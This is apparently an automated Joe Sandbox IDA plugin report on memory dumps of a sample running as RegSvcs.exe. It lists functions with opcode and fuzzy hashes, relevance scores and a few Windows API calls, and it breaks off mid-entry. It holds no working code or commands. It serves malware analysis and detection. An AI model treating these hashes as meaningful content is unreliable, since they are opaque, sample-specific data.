Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2490000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 87717ec2174ad37176216277dfc6f2a18601f086d6f6e94c02cb2360d3dcf0ba
Instruction ID: a34e09d15f004226afda22ba2d41146aa7f2228c79065d66228a75a3a18092ee
Opcode Fuzzy Hash: 87717ec2174ad37176216277dfc6f2a18601f086d6f6e94c02cb2360d3dcf0ba
Instruction Fuzzy Hash: 0C2184B1D0425A9FDB10CFAAD8447AEBBF4AF48310F15856AE908A7340D738A905CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02498071 Relevance: 1.6, APIs: 1, Instructions: 61
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(00000000), ref: 024980E8

Memory Dump Source

Source File: 00000009.00000002.2133038011.0000000002490000.00000040.00000800.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2490000_RegSvcs.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 7268293d3c754aff4ff908974e25fa644296fb813998a0735c0e2295fc963ab3
Instruction ID: 844df6ec89a056102c945283024f3c75858908f460ed58406f4133d63274c490
Opcode Fuzzy Hash: 7268293d3c754aff4ff908974e25fa644296fb813998a0735c0e2295fc963ab3
Instruction Fuzzy Hash: 172135B1C0065A9FCB10CFAAD445BEEFBB0EF49720F15825AD818A7241D738A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02498078 Relevance: 1.6, APIs: 1, Instructions: 56
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(00000000), ref: 024980E8

Memory Dump Source

Source File: 00000009.00000002.2133038011.0000000002490000.00000040.00000800.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2490000_RegSvcs.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: a479bdf443c6e09fada4a6fd20c54147f0ac67cd6e1ccd77e122d224b6e35cf1
Instruction ID: 38cd3410005bab93332899edc7a47ace192c12970e917c8b3448452713a97ef1
Opcode Fuzzy Hash: a479bdf443c6e09fada4a6fd20c54147f0ac67cd6e1ccd77e122d224b6e35cf1
Instruction Fuzzy Hash: 831124B1C0065ADBCB10CF9AD544B9EFBB4FF49720F11812AD818A7240D738A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0249EED8 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 0249EF3F

Memory Dump Source

Source File: 00000009.00000002.2133038011.0000000002490000.00000040.00000800.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2490000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 24c03b9922ef241d937347882e40d34281f848dcc7250050f86c270e42d05b5a
Instruction ID: a03e92fd8ccc93641100d1d40cc8f3dc868455b20b681b02ba300a5943db41ca
Opcode Fuzzy Hash: 24c03b9922ef241d937347882e40d34281f848dcc7250050f86c270e42d05b5a
Instruction Fuzzy Hash: C41112B1C006599BDB10CFAAC444B9EFBF4AF48720F15816AD918B7240D378A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 05DDCFF8 Relevance: .8, Instructions: 798
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b987b412cccbf9cf8f6108b91b6b3a120b4f56ea2c90229d75800a5344fef5bc
Instruction ID: 3e4614c309b37cc5d3611854cb79ccb29c11e26333136e54fee6eedc63bda1fd
Opcode Fuzzy Hash: b987b412cccbf9cf8f6108b91b6b3a120b4f56ea2c90229d75800a5344fef5bc
Instruction Fuzzy Hash: A8621C307012068FDB25EB68E590A9DB7B3FF85304F248A69D0059F369EB75ED46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05DDB708 Relevance: .5, Instructions: 469
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2073574641decfd9b0ca881a00637952ff1531f3d8685454d1e3c00318369b37
Instruction ID: d18800bd5ed80384e1e7e8fd3a1442f00263de7c140d4420e1670ae61ba7cafb
Opcode Fuzzy Hash: 2073574641decfd9b0ca881a00637952ff1531f3d8685454d1e3c00318369b37
Instruction Fuzzy Hash: C2024930A002098BEB24DF68D484AADF7B2FB45318F25852BE406EB355DB75ED458FA1

Uniqueness

Uniqueness Score: -1.00%

Function 05DDAD88 Relevance: .4, Instructions: 391COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29595e1a05b93351802bd7e27165504182179c4d07ab916dad74c391767e9278
Instruction ID: 293a684216df0dcc821afaf63c4ea88dd368c188a6f336c9fc86d8cd1e0d5165
Opcode Fuzzy Hash: 29595e1a05b93351802bd7e27165504182179c4d07ab916dad74c391767e9278
Instruction Fuzzy Hash: A1E15F31B012098BDB24DB68D494AAEF7B3FF89304F21852BE405EB355EB359C46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05DD9210 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dc177a28bdc154c334bf0072ff2e55b61d29991c66f4153bf0ad7cc223aa56d
Instruction ID: c75cd360d6814acfed50d4081886e20c296a1f65984829e8bee203a39a7b6591
Opcode Fuzzy Hash: 5dc177a28bdc154c334bf0072ff2e55b61d29991c66f4153bf0ad7cc223aa56d
Instruction Fuzzy Hash: 7D915630B0015A8BDB55DB69D8A0BAEB7F6BF85300F108569C409EB348EF71DD469B91

Uniqueness

Uniqueness Score: -1.00%

Function 05DD62B0 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9f93870cf5761fdb0b350fb1640faf55884d5ed198a45115ca0181c9ce4b869
Instruction ID: 8708108d86b7fe77e9773b91ffd98da76b55877649dc262240a5c0e2909a988d
Opcode Fuzzy Hash: c9f93870cf5761fdb0b350fb1640faf55884d5ed198a45115ca0181c9ce4b869
Instruction Fuzzy Hash: CD61D172F001214BDF109A7DD880A6FFAD7AFD5220B25443AE90ADB364DE65EC0287D1

Uniqueness

Uniqueness Score: -1.00%

Function 05DD4359 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a0403590728c0ed289dce781b1fe7c158f08db26ad3f8286e0025a8e0a1148a
Instruction ID: 3f6279642bb8a0182a54407b1849e92890e4c9138193cb43f735bdce389863a4
Opcode Fuzzy Hash: 7a0403590728c0ed289dce781b1fe7c158f08db26ad3f8286e0025a8e0a1148a
Instruction Fuzzy Hash: 6D813F34B012468BDF54DBA9D494BAEB7B3BF85300F108929D40AEB354EB71DC868B91

Uniqueness

Uniqueness Score: -1.00%

Function 05DD4674 Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee6e6d96ce65e86d2e6d63c34fccfe7f3575aefda64ec827f1bb3eb8655c24ed
Instruction ID: 87a3221dc843ec21c70482b5bcc1d30bc3077f91ea9c6e72995afad32e0e06c5
Opcode Fuzzy Hash: ee6e6d96ce65e86d2e6d63c34fccfe7f3575aefda64ec827f1bb3eb8655c24ed
Instruction Fuzzy Hash: 4A913D34E006198BDF60DF68C890B9DF7B2FF89310F20859AD549AB355DB70AA85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 05DD4688 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4edb0b0016a12a5411d6303f46ac71b565986bb7c461e5c16308f4386960b628
Instruction ID: e7eb5418a72893ba64f59dd64e72784bfb269776d4a58d22c3686946b6f5ad03
Opcode Fuzzy Hash: 4edb0b0016a12a5411d6303f46ac71b565986bb7c461e5c16308f4386960b628
Instruction Fuzzy Hash: 38913C30E006198BDF60DF68C890B9DF7B2FF89310F20859AD549AB345DB71AA85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 05DDEFC8 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ecc246d3e8d1b7d78485790c46f3221be60baa0c6d84fe537674864f4396cff
Instruction ID: 57fa131a5ba28e1acfa9563d531061f9beccfdc7b0de836595d7458dfdaa6a68
Opcode Fuzzy Hash: 3ecc246d3e8d1b7d78485790c46f3221be60baa0c6d84fe537674864f4396cff
Instruction Fuzzy Hash: 9E712E70A012099FDB14DBA9D990AAEFBF6FF84304F14852AD406EB355DB30ED46CB60

Uniqueness

Uniqueness Score: -1.00%

Function 05DDEFD8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fe3a927103fd15de642eaae9a87e65a971040ec0f31cd20c1166bbf35b00f6a
Instruction ID: 8a9ffcfe4ff8b118b4051b89e81860571ef775a9d749b4025ec849a6f080a8fd
Opcode Fuzzy Hash: 3fe3a927103fd15de642eaae9a87e65a971040ec0f31cd20c1166bbf35b00f6a
Instruction Fuzzy Hash: 8A711D74A012099FDB14DBA9D990AAEFBF6FF88304F14852AD406DB355DB30E946CB60

Uniqueness

Uniqueness Score: -1.00%

Function 05DD4C20 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20e7d3aca9ad1ffd2d292c9d4bfc147ec85fb115b778685592c14aa6bf74ab4d
Instruction ID: f86b5734494177ecfe587297aa88b5a3c654b4981a7ef58fa26154740d6b0484
Opcode Fuzzy Hash: 20e7d3aca9ad1ffd2d292c9d4bfc147ec85fb115b778685592c14aa6bf74ab4d
Instruction Fuzzy Hash: A6615130A002189FDF149BA8D854BAEBBB6FF88300F20852AE506EB395DF755D458F91

Uniqueness

Uniqueness Score: -1.00%

Function 05DDFD29 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea883277dcc0fcfdbb6c7f28a64fe22cd5cd5892ce91ee7bd0278833ab4e0a12
Instruction ID: d6795659d8f3c591df9414587c07e78de7bab5bfbe3ead09f0830d8beba4a331
Opcode Fuzzy Hash: ea883277dcc0fcfdbb6c7f28a64fe22cd5cd5892ce91ee7bd0278833ab4e0a12
Instruction Fuzzy Hash: 5151C331A01106DFDB24AB78E494AADF7B2FB85315F10886AE10BDB351DB359845CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05DD91FF Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb28cad55721436149179fd85b09d2dcf628605a7df712a4e2640cfd3ce3f84e
Instruction ID: d216f1126bbe4258a3728f8804c057773e4183241824d1ccc23fc9a4a13ca2e9
Opcode Fuzzy Hash: eb28cad55721436149179fd85b09d2dcf628605a7df712a4e2640cfd3ce3f84e
Instruction Fuzzy Hash: 27512430B011468BDB55DB78D8A0F6EB7F6FB89300F148969C406EB359EE31DC0A9B91

Uniqueness

Uniqueness Score: -1.00%

Function 05DDFAD7 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c407ebcb7346ea2956753d23b37760db93258413d4f13fb37deabec55245b0e
Instruction ID: 5165597c078d5cf917c42a765bc165555d15fed6e4899d05394c9e451a01300a
Opcode Fuzzy Hash: 1c407ebcb7346ea2956753d23b37760db93258413d4f13fb37deabec55245b0e
Instruction Fuzzy Hash: BD51B3347101059BEF20576CD8A4F7F7AABF79A310F20442BE50BC3395CA28DC965BA2

Uniqueness

Uniqueness Score: -1.00%

Function 05DDFAE8 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 402019cfc70cb878dead947dd2790159b2d2860f63d17a6aaa0d9322a34fe19b
Instruction ID: 62b1b2d69ef6de7ed7f1dcf5e8ce76fbff49c03468dd3f47a99fea46029232e9
Opcode Fuzzy Hash: 402019cfc70cb878dead947dd2790159b2d2860f63d17a6aaa0d9322a34fe19b
Instruction Fuzzy Hash: 1A51B4347101059BEF20576CD8A4F7F76ABF79A310F20442BE50BC7395CA28DC965BA2

Uniqueness

Uniqueness Score: -1.00%

Function 05DD54C8 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c83d15f8341123f9f7c641baf6c8d8c4cc5d1fe407ca8179434afe62cc2d5165
Instruction ID: c7e57387cc17c741e292c929731befa741574b5bd501bb6229d7ba6a241be0f0
Opcode Fuzzy Hash: c83d15f8341123f9f7c641baf6c8d8c4cc5d1fe407ca8179434afe62cc2d5165
Instruction Fuzzy Hash: 4A415E71A006098FDB21CFA9E880ABFF7B2FB95310F10492BE156D7650D731E9498BA1

Uniqueness

Uniqueness Score: -1.00%

Function 05DD4C10 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d02dfe1b7e7d3969bcd94ae806cd7387ac7a27eb6be00bdd83b4fc18e4589a9
Instruction ID: 4ad349b4a72770485b508845c81efaffda43e6ba7035af2b78058744d314d1bf
Opcode Fuzzy Hash: 7d02dfe1b7e7d3969bcd94ae806cd7387ac7a27eb6be00bdd83b4fc18e4589a9
Instruction Fuzzy Hash: EB416D31B002089FDB549FA9C855BAEBBF6FF88300F20852AE505EB395DF759D058B90

Uniqueness

Uniqueness Score: -1.00%

Function 05DDDB6D Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72334b005861b7f8c6db1f46fd4b5e353f7d3b9d2695e2e4b5f14281bbf97e7c
Instruction ID: 6b4a1afa7e4993d5dbd2fd0c5863e65db73eb26a4ad70e2bacf027b0db8e5609
Opcode Fuzzy Hash: 72334b005861b7f8c6db1f46fd4b5e353f7d3b9d2695e2e4b5f14281bbf97e7c
Instruction Fuzzy Hash: 0C414370A006099FDF14EF69C894AAEBBB3FF85344F24452AD405DB340EB749846CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05DD228D Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c12255be72ac0883f79273fbb7c7bff60b2b50352450b237740747525597613
Instruction ID: 05b770bab0c3357bce1b18cdacfa195456bd25ecf03c9a1d569b575303b2bea2
Opcode Fuzzy Hash: 0c12255be72ac0883f79273fbb7c7bff60b2b50352450b237740747525597613
Instruction Fuzzy Hash: F131A234B006018FDB199B7498A4BAE7BA3BF8A311F14456DD846DB395EE35CC06CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 05DD22A0 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e0eb7e75c995068fe83c3bc957faf43f16f8ec0074b01e2e00b2d178cba40e9
Instruction ID: 3124d78ac2c45661e9f240890cae1af4bb09e0e97d44709b5282e6f306ed2ca5
Opcode Fuzzy Hash: 8e0eb7e75c995068fe83c3bc957faf43f16f8ec0074b01e2e00b2d178cba40e9
Instruction Fuzzy Hash: C731B2347002058FDB19AB74D8A4A6EBBA7BB8A711F10442DD806DB395EE35DC068BE1

Uniqueness

Uniqueness Score: -1.00%

Function 05DDDA21 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cb7c7e673ca37dbcde227d88bc1bd4e1aa42807f7137b95fa01b4c08b086111
Instruction ID: 6ac892f662c36e2d0e16c327bfc87c3da15d856329f900961a8aa2a978228321
Opcode Fuzzy Hash: 5cb7c7e673ca37dbcde227d88bc1bd4e1aa42807f7137b95fa01b4c08b086111
Instruction Fuzzy Hash: 4B319831A0020A9BDF25DFA8D890A9EF7B7FF85304F14852AD505EB300EB70E946CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05DD2152 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3408156ed41319b437b97feff765d345869cb64fadd97a4641eabccad75cb38d
Instruction ID: 3fd0ee280ec93a4d2548120f60c8013b1d786e870f4118b1e19ab001747536a9
Opcode Fuzzy Hash: 3408156ed41319b437b97feff765d345869cb64fadd97a4641eabccad75cb38d
Instruction Fuzzy Hash: 94313334E006459BCB15DFA8D8946AEFBB2FF89300F10C52AE946E7350DB70AC46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 05DD2160 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 841fa2db11a42e411b0ee799d7b7b5c8a95c1a2a0138215058fe79ea51e0c62d
Instruction ID: 6269b2d47a9be07b217f63de1ee56fca10373dd54a928f96ae90b567b8d5911a
Opcode Fuzzy Hash: 841fa2db11a42e411b0ee799d7b7b5c8a95c1a2a0138215058fe79ea51e0c62d
Instruction Fuzzy Hash: F5311235E106459BDB19DF68D894AAEF7B2FF89300F10C52AE916E7350DB70AC46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 05DD3F60 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0f02495eb13c76ba5b3f945f55c39b26875a3dfdcd0d2ce1b02f66bcdb089ed
Instruction ID: 6f5ec6cdc53c8cc65a0f8226c3a4eff7adc8120fe17942405e7721cd9d8752f5
Opcode Fuzzy Hash: c0f02495eb13c76ba5b3f945f55c39b26875a3dfdcd0d2ce1b02f66bcdb089ed
Instruction Fuzzy Hash: AE217E75F012159FDB10DF69E881EEEBBF2AB48710F144526E905EB390E775D8428BA0

Uniqueness

Uniqueness Score: -1.00%

Function 05DD3F70 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e98e0c662f40e90a386e49099860dd0e388002b44399e81f2487265d58e01b8
Instruction ID: 35e72414e5b9e1ca055b9497b60d3b7a6336261b03ea8ac6ee90b930ef41f4ba
Opcode Fuzzy Hash: 0e98e0c662f40e90a386e49099860dd0e388002b44399e81f2487265d58e01b8
Instruction Fuzzy Hash: 85213B75B012159FDB10DF69E880EAEBBF6FB48711F14442AE905E7394E771D8418BA0

Uniqueness

Uniqueness Score: -1.00%

Function 05DD3511 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6aec53ef0f8b0a3d9fa99ac0057ede4ace9c2950d560dcc12cc17555d307738
Instruction ID: a5fa7640993f92bbb0ae0af7ac8ede164189d903a2ae2f2e5920cb4a3e34c53d
Opcode Fuzzy Hash: f6aec53ef0f8b0a3d9fa99ac0057ede4ace9c2950d560dcc12cc17555d307738
Instruction Fuzzy Hash: 6521A571E052158BCF64EB68D8506EEF7B6FB89300F11497AE406EB340EA31D945CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 05DD4080 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc69b70738d4cfb2ec896b478b4ddaf25eeb0783ad3d227f750fdbb24a38d458
Instruction ID: 7a0a38e1fbcce11aa80ba6fbc2578e90763cc40ed11f2511878d2def171c0b3d
Opcode Fuzzy Hash: bc69b70738d4cfb2ec896b478b4ddaf25eeb0783ad3d227f750fdbb24a38d458
Instruction Fuzzy Hash: 9511A131B010254BDF14DA78DC54ABFB7ABABC9311F04853AD906E7344EE75DC028BA0

Uniqueness

Uniqueness Score: -1.00%

Function 05DD42B9 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50cefd952bd6c660e9e9367a150fb7b58cf27753e2d9838fc52bb14ac2034598
Instruction ID: 4e9fc63b3ad429cfa4b4403d31f535d4e97cb5554ecc3697e63862225a6ccbfe
Opcode Fuzzy Hash: 50cefd952bd6c660e9e9367a150fb7b58cf27753e2d9838fc52bb14ac2034598
Instruction Fuzzy Hash: A801F5317000100BDF2596AC8414B6FF7DBEBD6710F15443BE10ADB380E9B1DC0243A1

Uniqueness

Uniqueness Score: -1.00%

Function 05DDF248 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2ce92687389990dababf2bfc7949c0fcae8d0c9b61925e247bcd5cdb920450a
Instruction ID: 334aa0ca5d7ce19b9a5e9d26b83c6ef9ce203a05ebe828a406aaf3f9e1ae939d
Opcode Fuzzy Hash: e2ce92687389990dababf2bfc7949c0fcae8d0c9b61925e247bcd5cdb920450a
Instruction Fuzzy Hash: EF014F397001121BEB25A6ACD896B7BABD7E7C9624F14883BE10BC7340ED25DC428791

Uniqueness

Uniqueness Score: -1.00%

Function 05DD3D39 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e87f4270096179f4a3ee9ba44551eb155938596bc5ba9db2d7b091983c3b933
Instruction ID: 2476d01ef92f5173657c04b63158b1713639e6850734dbf2d59140e7ed310f92
Opcode Fuzzy Hash: 2e87f4270096179f4a3ee9ba44551eb155938596bc5ba9db2d7b091983c3b933
Instruction Fuzzy Hash: A421C0B1901259AFCB00DF9AD884ACEFBB4FB49620F50852AE518A7340C374A554CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 05DD406F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2138761619.0000000005DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5dd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ab0eb6d28629665b7b3e854ea17ff5e6cce22bb488cba46a86ab09a80f50bf8
